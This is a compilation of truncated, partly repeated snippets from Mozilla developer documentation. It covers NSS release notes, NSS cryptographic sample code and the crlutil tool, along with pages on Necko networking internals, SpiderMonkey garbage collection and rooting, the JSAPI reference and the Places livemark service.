...f nss shared libraries. these shared libraries should be installed in the same directory where the other nss shared libraries (such as libnss3.so) are installed. both shared libs should always be installed whether the target system has a 32-bit cpu or a 64-bit cpu. nss will pick the right one for the local system at run time. note that nss 3.x is also available in the lp64 model for these platforms, but the lp64 model of nss 3.x does not have these two extra shared libraries. what you should already know before using nss, you should be familiar with the following topics: concepts and techniques of public-key cryptography the secure sockets layer (ssl) protocol the pkcs #11 standard for cryptographic token interfaces cross-platform development issues and techniques where to find mo...
NSS 3.14.2 release notes
d" section below. nss 3.14.2 should be used with nspr 4.9.5 or newer. the release is available for download from https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_2_rtm/src/ for the primary nss documentation pages please visit /docs/nss new in nss 3.14.2 nss will now make use of the intel aes-ni and avx instruction sets for hardware-accelerated aes-gcm on 64-bit linux systems. note: the new assembly code requires gnu as version 2.19 or newer. on red hat enterprise linux 5.x systems, install the binutils220 package and add /usr/libexec/binutils220 to the beginning of your path environment variable. initial manual pages for some nss command line tools have been added. they are still under review, and contributions are welcome. the documentation is in the docbook forma...
...ur path environment variable. initial manual pages for some nss command line tools have been added. they are still under review, and contributions are welcome. the documentation is in the docbook format and can be rendered as html and unix-style manual pages using an optional build target. new types: in certt.h cert_pi_useonlytrustanchors in secoidt.h sec_oid_ms_ext_key_usage_ctl_signing notable changes in nss 3.14.2 bug 805604 - support for aes-ni and avx accelerated aes-gcm was contributed by shay gueron of intel. if compiled on linux systems in 64-bit mode, nss will include runtime detection to check if the platform supports aes-ni and pclmulqdq. if so, nss uses the optimized code path, reducing the cpu cycles per byte to 1/20 of what was ...
...(https://bugzilla.mozilla.org/show_bug.cgi?id=540986) sqlite has been updated to 3.7.15. note: please apply the patch in https://bugzilla.mozilla.org/show_bug.cgi?id=837799 if you build nss with the system sqlite library and your system sqlite library is older than 3.7.15. ...
...in addition to those from loaded security tokens, rather than as an alternative to. (https://bugzilla.mozilla.org/show_bug.cgi?id=816853) bug 772144 - basic support for running nss test suites on android devices.this is currently limited to running tests from a linux host machine using an ssh connection. only the sshdroid app has been tested. bug 373108 - fixed a bug where, under certain circumstances, when applications supplied invalid/out-of-bounds parameters for aes encryption, a double free may occur. bug 813857 - modification of certificate trust flags from multiple threads is now a thread-safe operation. bug 618418 - c_decrypt/c_decryptfinal now correctly validate the pkcs #7 padding when present. bug 807890 - added support for microsoft trust list signing eku. bug 822433 -...
NSS Sample Code Sample_2_Initialization of NSS
word); if (p1) port_free(p1); p1 = getpassword(input, output, "re-enter password: ", checkpassword); if (p0 && p1 && !port_strcmp(p0, p1)) { break; } pr_fprintf(pr_stderr, "passwords do not match. ...
... { for (;;) { oldpw = getmodulepassword(slot, pr_false, &pwdata); if (pk11_checkuserpassword(slot, oldpw) != secsuccess) { if (pwdata.source == pw_none) { pr_fprintf(pr_stderr, "invalid password. ...
... * it creates an nss configuration directory with empty databases * and initializes the databases. it also i...
... * it creates an nss configuration directory with empty databases * and initializes the databases. it also illustrates techniques for * password handling. */ int main(int argc, char **argv) { ploptstate *optstate; ploptstatus status; ...
NSS Sample Code sample3
t functions, which does not * require a nss database to exist */ nss_nodb_init("."); /* get a slot to use for the crypto operations */ slot = pk11_getinternalkeyslot(); if (!slot) { cout << "getinternalkeyslot failed" << endl; status = 1; goto done; } /* * part 1 - simple hashing */ cout << "part 1 -- simple hashing" << endl; /* initialize data */ memset(data, 0xbc, sizeof data); /* create a context for hashing (digesting) */ context = pk11_createdigestcontext(sec_oid_md5); if (!context) { cout << "createdigestcontext failed" << endl; goto done; } s = pk11_digestbegin(context); if (s != secsuccess) { cout << "digestbegin failed" << endl; goto done; } s = pk11_digestop(context, data, sizeof data); if (s != secsuccess) { cout << ...
... s = pk11_digestfinal(context, digest, &len, sizeof digest); if (s != secsuccess) { cout << "digestfinal failed" << endl; goto done; } /* print digest */ printdigest(digest, len); pk11_destroycontext(context, pr_true); context = 0; /* * part 2 - hashing with included secret key */ cout << "part 2 -- hashing with included secret key" << endl; /* initialize data */ memset(data, 0xbc, sizeof data); /* create a key */ key = pk11_keygen(slot, ckm_generic_secret_key_gen, 0, 128, 0); if (!key) { cout << "create key failed" << endl; goto done; } cout << (void *)key << endl; /* create parameters for crypto context */ /* note: params must be provided, but may be empty */ secitem noparams; noparams.type = sibuffer; noparams.data = 0; noparams.len =...
...cout << (void *)key << endl; /* create parameters for crypto context */ /* note: params must be provided, but may be empty */ secitem noparams; noparams.type = sibuffer; noparams.data = 0; noparams.len = 0; /* create context using the same slot as the key */ // context = pk11_createdigestcontext(sec_oid_md5); context = pk11_createcontextbysymkey(ckm_md5, cka_digest, key, &noparams); if (!context) { cout << "createdigestcontext failed" << endl; goto done; } s = pk11_digestbegin(context); if (s != secsuccess) { cout << "digestbegin failed" << endl; goto done; } s = pk11_digestkey(context, key); if (s != secsuccess) { cout << "digestkey failed" << endl; goto done; } s = pk11_digestop(context, data, sizeof data); if (s != secsuccess) { cout << "digestupdate fa...
... << endl; goto done; } s = pk11_digestfinal(context, digest, &len, sizeof digest); if (s != secsuccess) { cout << "digestfinal failed" << endl; goto done; } /* print digest */ printdigest(digest, len); pk11_destroycontext(context, pr_true); context = 0; /* * part 3 - mac (with secret key) */ cout << "part 3 -- mac (with secret key)" << endl; /* initialize data */ memset(data, 0xbc, sizeof data); context = pk11_createcontextbysymkey(ckm_md5_hmac, cka_sign, key, &noparams); if (!context) { cout << "createcontextbysymkey failed" << endl; goto done; } s = pk11_digestbegin(context); if (s != secsuccess) { cout << "digestbegin failed" << endl; goto done; } s = pk11_digestop(context, data, sizeof data); if (s != secsuccess) { cout << "digestop failed" ...
Hashing - sample 1
nss sample code 1: hashing. the nss same code below computes the hash of a file and saves it to another file, this illustrates the use of nss message apis. /* this source code form is subject to the terms of the mozilla public * license, v. 2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. ...
...f the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. */ /* nspr headers */ #include <prprf.h> #include <prtypes.h> #include <plgetopt.h> #include <prio.h> /* nss headers */ #include <secoid.h> #include <secmodt.h> #include <sechash.h> #include <nss.h> typedef struct { const char *hashname; secoidtag oid; } nametagpair; /* the hash algorithms supported */ static const nametagpair hash_names[] = { { "md2", sec_oid_md2 }, { "md5", sec_oid_md5 }, { "sha1", sec_oid_sha1 }, { "sha256", sec_oid_sha256 }, { "sha384", sec_oid_sha384 }, { "sha512", sec_oid_sha512 } }; /* * maps a hash name to a secoidtag. * returns null if the name if not a supported algorithm */ static secoidtag hashnametooidtag(const char *hashnam...
... * it writes out the digest as a hexadecimal string. */ static int digestfile(prfiledesc *outfile, prfiledesc *infile, ...
... * it writes out the digest as a hexadecimal string. ...
Initialize NSS database - sample 2
word); if (p1) port_free(p1); p1 = getpassword(input, output, "re-enter password: ", checkpassword); if (p0 && p1 && !port_strcmp(p0, p1)) { break; } pr_fprintf(pr_stderr, "passwords do not match. ...
... { for (;;) { oldpw = getmodulepassword(slot, pr_false, &pwdata); if (pk11_checkuserpassword(slot, oldpw) != secsuccess) { if (pwdata.source == pw_none) { pr_fprintf(pr_stderr, "invalid password. ...
... * it creates an nss configuration directory with empty databases * and initializes the databases. it also i...
... * it creates an nss configuration directory with empty databases * and initializes the databases. it also illustrates techniques for * password handling. */ int main(int argc, char **argv) { ploptstate *optstate; ploptstatus status; ...
EncDecMAC using token object - sample 3
2.0. ...
... null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing */ secstatus macfinal(pk11context *ctx, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = pk11_digestfinal(ctx, mac, maclen, maxlen); if (rv != secsuccess) { pr_fprintf(pr_stde...
...ndmac */ secstatus encryptandmac(prfiledesc *infile, prfiledesc *headerfile, prfiledesc *encfile, pk11symkey *ek, pk11symkey *mk, unsigned char *iv, unsigned int ivlen, prbool ascii) { secstatus rv; unsigned char ptext[blocksize]; unsigned int ptextlen; unsigned char mac[digestsize]; unsigned int maclen; unsigned int nwritten; unsigned char encbuf[blocksize]; unsigned int encbuflen; secitem noparams = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigned int pad[1]; secitem paditem; unsigned int paddinglength; static unsigned int firsttime = 1; int j; ctxmac = pk11_createcontextbysymkey(ckm_md5_hmac, cka_sign, mk, &noparams); if (ctxmac == null) { pr_fprintf(pr_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (...
...m) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char newmac[digestsize]; unsigned int newmaclen = 0; unsigned int newptextlen = 0; unsigned int count = 0; unsigned int temp = 0; unsigned int blocknumber = 0; secitem noparams = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigned char iv[blocksize]; unsigned int ivlen = ivitem->len; unsigned int filelength; unsigned int paddinglength; int j; memcpy(iv, ivitem->data, ivitem->len); paddinglength = (unsigned int)paditem->data[0]; ctxmac = pk11_createcontextbysymkey(ckm_md5_hmac, cka_sign, mk, &noparams); if (ctxmac == null) { pr_fprintf...
NSS tools : crlutil
-import-file specify the file which contains the crl to import -f password-file specify a file that will automatically supply the password to include in a certificate or to access a certificate database. this is a plain-text file containing one password. be sure to prevent unauthorized access to this file. -l algorithm-name specify a specific signature algorithm. list of possible algorithms: md2 | md4 | md5 | sha1 | sha256 | sha384 | sha512 -n nickname specify the nickname of a certificate or key to list, create, add to a database, modify, or validate. bracket the nickname string with quotation marks if it contains spaces. -o output-file specify the output file name for new crl. bracket the output-file string with quotation marks if it contains spaces. if this argument is no...
...estination defaults to standard output. -t crl-type specify type of crl. possible types are: 0 - sec_krl_type, 1 - sec_crl_type. this option is obsolete -u url specify the url. crl generation script syntax crl generation script file has the following syntax: * line with comments should have # as a first symbol of a line * set "this update" or "next update" crl fields: update=yyyymmddhhmmssz nextupdate=yyyymmddhhmmssz field "next update" is optional. time should be in generalizedtime format (yyyymmddhhmmssz). for example: 20050204153000z * add an extension to a crl or a crl certificate entry: addext extension-name critical/non-critical [arg1[arg2 ...]] where: extension-name: string value of a name of known extensions. critical/non-critical: is 1 when extension is critical an...
...an extension to every cert entries within the range. * add certificate entries(s) to crl: addcert range date range: two integer values separated by dash: range of certificates that will be added by this command. dash is used as a delimiter. only one cert will be added if there is no delimiter. date: revocation date of a cert. date should be represented in generalizedtime format (yyyymmddhhmmssz). * remove certificate entry(s) from crl rmcert range where: range: two integer values separated by dash: range of certificates that will be added by this command. dash is used as a delimiter. only one cert will be added if there is no delimiter. * change range of certificate entry(s) in crl range new-range where: new-range: two integer values separated by dash: range of certificates ...
...rovides the date on which it is known or suspected that the private key was compromised or that the certificate otherwise became invalid. invaliditydate non-critical date where: crlnumber: identifies the name of an extension non-critical: should be set to 0 since this is non-critical extension date: invalidity date of a cert. date should be represented in generalizedtime format (yyyymmddhhmmssz). usage the certificate revocation list management tool's capabilities are grouped as follows, using these combinations of options and arguments. options and arguments in square brackets are optional, those without square brackets are required. see "implemented extensions" for more information regarding extensions and their parameters. * creating or modifying a crl: crlutil -g|-m -c cr...
NSS tools : crlutil
Mozilla › Projects › NSS › tools › crlutil
-f password-file specify a file that will automatically supply the password to include in a certificate or to access a certificate database. this is a plain-text file containing one password. be sure to prevent unauthorized access to this file. -l algorithm-name specify a specific signature algorithm. list of possible algorithms: md2 | md4 | md5 | sha1 | sha256 | sha384 | sha512 -n nickname specify the nickname of a certificate or key to list, create, add to a database, modify, or validate. bracket the nickname string with quotation marks if it contains spaces. -o output-file specify the output file name for new crl. bracket the output-file string with quot...
...l-type specify type of crl. possible types are: 0 - sec_krl_type, 1 - sec_crl_type. this option is obsolete -u url specify the url. crl generation script syntax crl generation script file has the following syntax: * line with comments should have # as a first symbol of a line * set "this update" or "next update" crl fields: update=yyyymmddhhmmssz nextupdate=yyyymmddhhmmssz field "next update" is optional. time should be in generalizedtime format (yyyymmddhhmmssz). for example: 20050204153000z * add an extension to a crl or a crl certificate entry: addext extension-name critical/non-critical [arg1[arg2 ...]] where: extension-name: string value of a name of known extensions. critical/non-critical: is 1 when exten...
...o every cert entries within the range. * add certificate entries(s) to crl: addcert range date range: two integer values separated by dash: range of certificates that will be added by this command. dash is used as a delimiter. only one cert will be added if there is no delimiter. date: revocation date of a cert. date should be represented in generalizedtime format (yyyymmddhhmmssz). * remove certificate entry(s) from crl rmcert range where: range: two integer values separated by dash: range of certificates that will be added by this command. dash is used as a delimiter. only one cert will be added if there is no delimiter. * change range of certificate entry(s) in crl range new-range where: new-range: two integer values separated by ...
...te on which it is known or suspected that the private key was compromised or that the certificate otherwise became invalid. invaliditydate non-critical date where: crlnumber: identifies the name of an extension non-critical: should be set to 0 since this is non-critical extension date: invalidity date of a cert. date should be represented in generalizedtime format (yyyymmddhhmmssz). usage the certificate revocation list management tool's capabilities are grouped as follows, using these combinations of options and arguments. options and arguments in square brackets are optional, those without square brackets are required. see "implemented extensions" for more information regarding extensions and their parameters. * creating or modifying a crl: c...
Network Security Services
uction to ssl introduces the ssl protocol, including information about cryptographic ciphers supported by ssl and the steps involved in the ssl handshake. getting started nss releases this page contains information about the current and past releases of nss. get the source code and build it instructions on how to build nss on the different supported platforms. nss apis introduction to network security services provides an overview of the nss libraries and what you need to know to use them. nss ssl public functions summarizes the ssl apis exported by the nss shared libraries. nss ssl reference api used to invoke ssl operations. nss api guidelines explains how the libraries and code are organized, ...
... etc. third-party code a list of third-party code included in the nss library. nss 3.2 test suite archived version. describes how to run the standard nss tests. nss performance reports archived version. links to performance reports for nss 3.2 and later releases. encryption technologies available in nss 3.11 archived version. lists the cryptographic algorithms used by nss 3.11. nss 3.1 loadable root certificates archived version. describes the scheme for loading root ca certificates. cert7.db archived version. general format of the cert7.db database. pkcs #11 information documentation on pkcs #11 modules implementing pkcs #11 for nss the strings nss uses to load pkcs #11 modules pkcs #11 faq ...
... mailing list newsgroup rss feed related topics security ...
... mailing list newsgroup rss feed related topics security ...
Necko walkthrough
e response; corresponds to the nspipeinputstream for the response stream pipe) passes it to nsinputstreampump nshttpchannel::ghttphandler->initiatetransaction (called from connect) this is the global nshttphandler object, which adds the transaction to the nshttpconnectionmgr (one of these per nshttphandler). nshttpconnectionmgr::postevent creates an nsconnevent with params including the handler function, nshttpconnectionmgr::onmsgnewtransaction, and the recently created nshttptransaction. dispatches the nsconnevent to the socket thread back to the context of nshttpchannel::continueconnect: nsinputstreampump->asyncread this pump calls nsiasyncinputstream::asyncwait (the input for the response stream pipe created with the nshttptransaction, i.e. nspi...
...hread), callback is proxied via an nsinputstreamreadyevent, which is created now and may be called later otherwise, the callback would be called directly, when the socket is readable et voila, the transaction has been posted to the socket thread, and the main thread continues on, unblocked from network io. so, on the socket thread... the event queue works around to nshttpconnectionmgr::onmsgnewtransaction (with the nshttptransaction passed as a param - remember the event was posted earlier by initiatetransaction from the main thread). nshttpconnectionmgr::onmsgnewtransaction nshttpconnectionmgr::processnewtransaction (notice the check that we're on gsocketthread) gets conn info (i.e. hostname and port) from the transaction, and then gets or creates a connection entry fro...
...om the current transaction (mtransaction) tells the transaction to now wait (`resumerecv) nshttpconnection::resumerecv nshttptransaction::readsegments readrequestsegment is passed to mrequeststream->readsegments - this function pointer is called and used to read the request bytes, which in turn calls ... nshttpconnection::onreadsegment passes bytes read from request to msocketout->write back to the context of onsocketwritable: nsiasyncinputstream::asyncwait (i.e. msocketin) sets the callback and waits. the http request is now written to the socket, which has a callback to the nshttpconnection... note: from what i can tell, there are some cases where the transaction is queued up to be written to the socket later if it's not writable now, or in t...
...r in the case of pipelining or spdy where it's done in batches. but i'm not an expert in either of these things. once the socket is readable (more async behavior), nshttpconnection::oninputstreamready is called on the socket thread. nshttpconnection::oninputstreamready nshttpconnection::onsocketreadable nshttptransaction::writesegments nshttpconnection::onwritesegment passes bytes from msocketin->read to the transaction's pipe nspipeoutputstream::writesegments nspipe::advancewritecursor nspipeinputstream::oninputreadable so now the response is hitting the other end of the pipe, saying it has bytes to read nspipeevents::notifyinputready puts the callback object into an nspipeevents object. once this object goes out of scope, mcallback->oninputstreamready i...
FOSS
getting started here. ...
...includes a js shell that allows you to use cpan modules from javascript. python http://pypi.python.org/pypi/python-spidermonkey wxwidgets gluescript (formerly wxjavascript) code generators jsapigen - generates bindings for embedding spidermonkey in c applications extensions http://code.google.com/p/jslibs/ - zlib, sqlite...
...e module interoperability methods, modules, etc. for spidermonkey. designed to supplement existing embeddings, gpsee ships with a sample trivial embedding, a scripting host, and an augmented version of mozilla's js shell. bundled modules include support for bytearray, bytestring, cgi, posix signals, ffi, and more. ...
...nd more. ...
Exact Stack Rooting
does not hold true for temporaries: they are undeclared, after all. some compilers maintain lifo order, some do not. incorrect use of js::rootedt as a temporary will crash at run time. there is also a static constructor method frommarkedlocation() that creates a handle from an arbitrary location. this is used to make handles for things like scope chain objects, which aren't explicitly rooted themselves, but are always reachable from the implicit stack roots. every use of these should be commented to explain why they are guaranteed to be rooted. js::handle<t> typedef js::handle<t> js::handlet; -> handleobject, handlestring, handlescript, etc. any single gcthing is likely to get passed through a fairly deep call-stack before getting used. even though creating a new js::rootedt is cheap, ...
... is the job of js::rootedt. warning: never give a function a js::handlet return type: this can easily lead to a js::handlet outliving its js::rootedt's lifetime. js::mutablehandle<t> typedef js::mutablehandle<t> js::mutablehandlet; -> mutablehandleobject, mutablehandlestring, etc. the purpose of js::mutablehandlet is to allow out-parameters for rooted gcthings. this class solves two problems: c++ only allows one level of user-defined implicit type conversion. when passed to an out-param, &handle would convert correctly to js::handlet*, but &local is a compile error. even though js::handlet is indirect, it implicitly behaves like the thing it is pointing to. this makes js::handlet and js::rootedt behave the same, allowing us to seamlessly weave js::handlets into the js api. the pr...
...e error. even though js::handlet is indirect, it implicitly behaves like the thing it is pointing to. this makes js::handlet and js::rootedt behave the same, allowing us to seamlessly weave js::handlets into the js api. the problem is that this requires us to overload operator->. if we have a method taking handle<value>*, then out->setobject(foo) will not work as expected. to solve these problems we have the js::mutablehandlet class. js::mutablehandlet is a js::handlet with a set method. bool returnfoo(jscontext *cx, mutablehandlestring out) { out.set(js_newstringcopyz(cx, "foo")); return bool(out); } size_t getlengthfoo(jscontext *cx) { rootedstring s(cx); if (returnfoo(cx, &s)) return js_getstringlength(s); return size_t(-1); } all methods in the js-api t...
...j(cx, js_newobject(cx, clasp, nullptr(), nullptr()); common pitfalls the c++ type system allows us to eliminate the possibility of most common errors; however, there are still a few things that you can get wrong that the compiler cannot help you with. there is basically never a good reason to do any of these. if you think you do need to do one of these, ask on one of spidermonkey's support forums: maybe we've already solved your problem using a different mechanism. storing a js::rootedt on the heap. it would be very easy to violate the lifo constraint if you did this. use a different rooting mechanism if you store a gcpointer on the heap. there are moz_stack_class annotations that will cause a separate static analysis to fail if these are detected. storing a js::handlet on the heap. i...
Garbage collection
nkbitmap), a bitmap of decommitted arenas, and a chunk header (chunkinfo). the chunkinfo contains a list of unallocated arenas, starting at chunkinfo::freearenashead and linked through arenaheader::next. the chunkinfo also contains some basic stats, such as the number of free arenas. arena an arena is an internal unit of memory allocation. an arena is one page (4096 bytes on almost all platforms) and contains an arenaheader, a few pad bytes, and then an array of aligned elements. all elements in an arena have the same allocation kind and size. every arena maintains a list of free spans, starting at arenaheader::firstfreespanoffets. the last cell in each free span (except the last one) holds a freespan for the next free span. free span struct freespan represents a contiguous sequence o...
...ng guide. this information has been split out into a separate article: exact stack rooting. marking todo incremental marking incremental marking means being able to do a bit of marking work, then let the mutator (javascript program) run a bit, then do another bit of marking work. thus, instead of one long pause for marking, the gc does a series of short pauses. the pauses can be set to be 10ms or less. there is always a possibility that a long pause will be required. if the allocation rate is high during incremental gc, the engine may run out of memory before finishing the incremental gc. if so, the engine must immediately restart a full, non-incremental gc in order to reclaim some memory and continue execution. incremental write barrier the problem that requires a write barrier in...
...d. if the allocation rate is high during incremental gc, the engine may run out of memory before finishing the incremental gc. if so, the engine must immediately restart a full, non-incremental gc in order to reclaim some memory and continue execution. incremental write barrier the problem that requires a write barrier incremental gc requires a write barrier for correctness. todo decent diagrams the basic problem is as follows (see dictionary for color terms). say object a is black and contains a pointer field. let object b be white. now let the incremental slice stop, so the mutator resumes. if the mutator stores b into a, so that a contains a pointer to b, and deletes all existing pointers to b, then: b is live, because a is black and contains a pointer to b. b will not be marked,...
...ctions are used by gc.cpp to allocate and release chunks. there are also functions to commit or decommit memory, i.e., tell the os that certain pages are not being used and can be thrown away instead of paged to disk. gc/root.h defines classes for noting variables as gc roots. gc/statistics.{h,cpp} defines struct statistics, which stores spidermonkey gc performance counters. dictionary of terms black in common cs terminology, an object is black during the mark phase if it has been marked and its children are gray (have been queued for marking). an object is black after the mark phase if it has been marked. in spidermonkey, an object is black if its black mark bit is set. gray in common cs terminology, an object is gray during the mark phase if it has been queued for marking. in spid...
Introduction to the JavaScript shell
to get the spidermonkey javascript shell, see the spidermonkey build documentation or download a compiled binary for your platform from the nightly builds. ...
...es. -w, --nowarnings disables warning messages. environment options there are some environment variables that can be set to alter js shell behavior. js_stdout=file redirect stdout to file. js_stderr=file redirect stderr to file. built-in functions to make the javascript shell more useful, there are a number of built-in functions provided that you can use either from javascript programs or in interactive mode. note: this list is incomplete and overlaps with shell global objects. see js/src/shell/js.cpp (around shell_functions) for more. build() returns the date and time at which the javascript shell was built. note: clear() with no parameters really clears everything. this includes all these built-in functions. clone(function, [scope]) clones the specified function objec...
...he expression and displays the result on stdout. quit([status]) exits the shell. status defaults to 0 if omitted. read(filename[, type]) reads and returns the contents of file. if type is "binary" returns an uint8array, otherwise returns an utf-8 decoded string. readline() reads a single line of input from stdin, returning it to the caller. you can use this to create interactive shell programs in javascript. reflect.parse() see parser api. note: this function is intended only for use when testing the javascript engine. seal(object[, deep]) seals the specified object, or an object graph if deep is true. by sealing an object or object graph, you disable modification of those objects. sleep(dt) added in spidermonkey 1.8 only in js_threadsafe builds. sleep for dt seconds. fractions ...
...nt16 2 00017: add 00018: call 1 00021: pop 00022: stop source notes: 0: 0 [ 0] newline 1: 3 [ 3] decl offset 0 2: 7 [ 4] newline 3: 18 [ 11] xdelta 4: 18 [ 0] pcbase offset 11 dissrc([function]) disassembles the javascript bytecode for the entire program, or for the specified function, showing the source lines. this function only works with programs loaded from files, either using the -f flag on launching the shell, or by using the load() function. if your program includes a function, dostuff(), like this: function dostuff(input) { print("enter a number: "); var n1 = readline(); print("enter another one: "); var n2 = readline(); print("you entered " + n1 + " and " + n2 + "\n"); } calling dissrc(dostuff) function would give this ou...
JSAPI reference
a note on versioning: up until the release of firefox 4, spidermonkey, and thus the jsapi, was versioned in an ad-hoc way, with releases happening at times that roughly, but not really, corresponded to firefox releases. ...
...s_getinstanceprivate js_getprototype js_setprototype js_getprivate js_setprivate js_freezeobject added in spidermonkey 1.8.5 js_deepfreezeobject added in spidermonkey 1.8.5 js_isextensible added in spidermonkey 1.8.5 js_preventextensions added in spidermonkey 45 js_instanceof js_hasinstance js_isnative added in spidermonkey 17 js::toprimitiveadded in spidermonkey 45 js::newfunctionfromspecadded in spidermonkey 45 js_defaultvalueobsolete since jsapi 44 js_get_class obsolete since jsapi 13 js_sealobject obsolete since javascript 1.8.5 js_getparent obsolete since jsapi 39 js_setparent obsolete since jsapi 39 standard objects enum jsprotokey added in spidermonkey 24 js_getclassobject js_getclassprototype js::protokeytoid added in spidermonkey 38 js_idtoprotokey adde...
...ototype js::protokeytoid added in spidermonkey 38 js_idtoprotokey added in spidermonkey 31 js::identifystandardinstance added in spidermonkey 31 js::identifystandardprototype added in spidermonkey 31 js::identifystandardinstanceorprototype added in spidermonkey 31 js::identifystandardconstructor added in spidermonkey 38 date js_newdateobject added in spidermonkey 1.8.5 js_newdateobjectmsec added in spidermonkey 1.8.5 js_objectisdate added in spidermonkey 1.8.5 js_cleardatecaches added in spidermonkey 17 js_now intl api js_setdefaultlocale added in spidermonkey 24 js_resetdefaultlocale added in spidermonkey 24 properties these functions correspond directly to the ways scripts access object properties: js_getproperty js_getucproperty js_getpropertybyid added in spi...
...te since jsapi 19 js_getfunctionname obsolete since javascript 1.8.5 creating functions: js::clonefunctionobject added in spidermonkey 36 js_definefunction js_defineucfunction js_definefunctionbyid added in spidermonkey 17 js_definefunctions enum propertydefinitionbehavior added in spidermonkey 38 js_newfunction js::getselfhostedfunction added in jsapi 31 js::newfunctionfromspec added in jsapi 45 js_newfunctionbyid added in spidermonkey 17 obsolete since jsapi 44 js_clonefunctionobject obsolete since jsapi 36 regexps js_newregexpobject jsreg_fold jsreg_glob jsreg_multiline jsreg_sticky js_newucregexpobject js_newregexpobjectnostatics js_newucregexpobjectnostatics js_setregexpinput js_clearregexpstatics js_objectisregexp added in sp...
SpiderMonkey 1.8
s and generators (bug 349263) and arrays (bug 417501). in short, applications that share objects among threads in such a way that two threads could access an array, iterator, or generator object at the same time should not use spidermonkey 1.8. there is a minor known bug in the new javascript 1.8 functionality. when javascript 1.8 support is enabled, the parser accepts some incorrect programs by inserting a semicolon where it should instead throw a syntaxerror (bug 384758). this bug will be fixed in 1.8.1. migrating to spidermonkey 1.8 spidermonkey 1.8 is not binary-compatible with previous releases. it is source-compatible with spidermonkey 1.7 though, which means you can probably just recompile and relink your application. a handful of changes are not backwards-compatible: the...
...-compatible with spidermonkey 1.7 though, which means you can probably just recompile and relink your application. a handful of changes are not backwards-compatible: the result of assigning to a property with a setter has changed (bug 312354). in javascript 1.7 and earlier, x = [].length = "7"; would store the number 7 in x. now this statement stores the string "7" in x. the new behavior conforms to the ecmascript standard, ecma 262-3 §11.13.1. in certain cases, the javascript engine no longer calls jsclass.resolve callbacks repeatedly, as it did in previous versions. specifically, if a property lookup first calls a resolve hook which does not define the property, then finds the property on a prototype, that result can be cached. future lookups for the same property on the same sort of ...
...ey use threads. there are two new jsextendedclass hooks, jsextendedclass.iteratorobject and jsextendedclass.wrappedobject. both are documented but obscure. many new memory management features have been added as well. the new function js_setscriptstackquota limits the size of the javascript stack. two new functions, js_setgczeal and js_dumpheap, aim to help developers debug gc-related problems. these functions are only present in debug builds. js_setgczeal is especially helpful. when gc zeal is enabled, gc happens extremely frequently. this makes gc-related problems easier to reproduce, reveals gc problems that you may not have noticed before, and causes gc-safety bugs to surface much closer to their cause. js_dumpheap dumps parts of the gc heap and can help detect leaks. a new gc par...
...js_dumpheap dumps parts of the gc heap and can help detect leaks. a new gc parameter, jsgc_stackpool_lifespan, controls how eagerly spidermonkey returns unused memory back to the system. the new function js_setextragcroots provides another way to protect values from garbage collection. there is a new set of apis for integrating spidermonkey's garbage collector with other memory management systems. these apis are undocumented but fairly stable. the apis include the new jstraceop callback. new javascript shell functions there are a few new built-in functions in the javascript shell, mostly useful for testing. countheap, dumpheap, gcparam, gczeal, and stackquota are related to memory management. sleep and scatter, defined in <href="internal" a="" class="/en/spidermonkey/jsapi_reference/...
SpiderMonkey 38
osting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. — sep 17, 2015 the download url is outdated and spidermonkey not release alone! get it here mozilla-esr38 you will find it in "firefox extended support release 38" package on hg release platform support spidermonkey 38 is supported on all the platforms where firefox 38 runs. compiling it requires a c++ compiler, and the jsapi can only be used from c++ code. if you are compiling with microsoft's visual studio, note that the minimum supported version is msvc10/2010. spidermonkey 38 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architect...
...it's the same language, just not as fast. ...
...it's the same language, just not as fast. migrating to spidermonkey 38 .... ...
...jsapi, nor the jsdbgapi, stable for embedders. we have chosen to concentrate on performance and correctness as primary concerns instead. js_threadsafe is going away, with future versions supporting only thread-safe builds a new debugging api is on the way to replace jsd. release notes errata this is a list of changes which need to be made to the release notes asap. feel free to fix any problems you spot -- this is a wiki! don't add anything here -- this is for after the release notes are completed. :-) ...
Zest usecase: Reporting Security Vulnerabilities to Developers
these test cases can be used by the developers to reproduce the issues and test their fixes. ...
...these test cases can be used by the developers to reproduce the issues and test their fixes. ...
...these test cases can be used by the developers to reproduce the issues and test their fixes. ...
...these test cases can be used by the developers to reproduce the issues and test their fixes. ...
Using the Places livemark service
the livemark service, offered by the nsilivemarkservice interface, is used to create, edit, and reload livemarks. you can also use it to check whether an item is a livemark. livemarks are bookmark folders that contain the most recent items from an rss feed. initiating the livemark service before using the livemark service, you need to obtain an instance: var livemarkservice = components.classes["@mozilla.org/browser/livemark-service;2"] .getservice(components.interfaces.nsilivemarkservice); creating a new livemark the nsilivemarkservice.createlivemark() method creates a new livemark. var newlvmkid = livemarkservice.createlivemark(parentfolderid, "livemark name", uri("http://example.com/"), ...
...eed. the last argument takes in the index to insert at, or -1 to append the new livemark to the end of the folder. you can convert a string into an nsiuri using nsiioservice. when creating livemarks during startup, you should use the nsilivemarkservice.createlivemarkfolderonly() to avoid http traffic. this creates the encapsulating livemark without actually fetching the rss feed's contents. ...
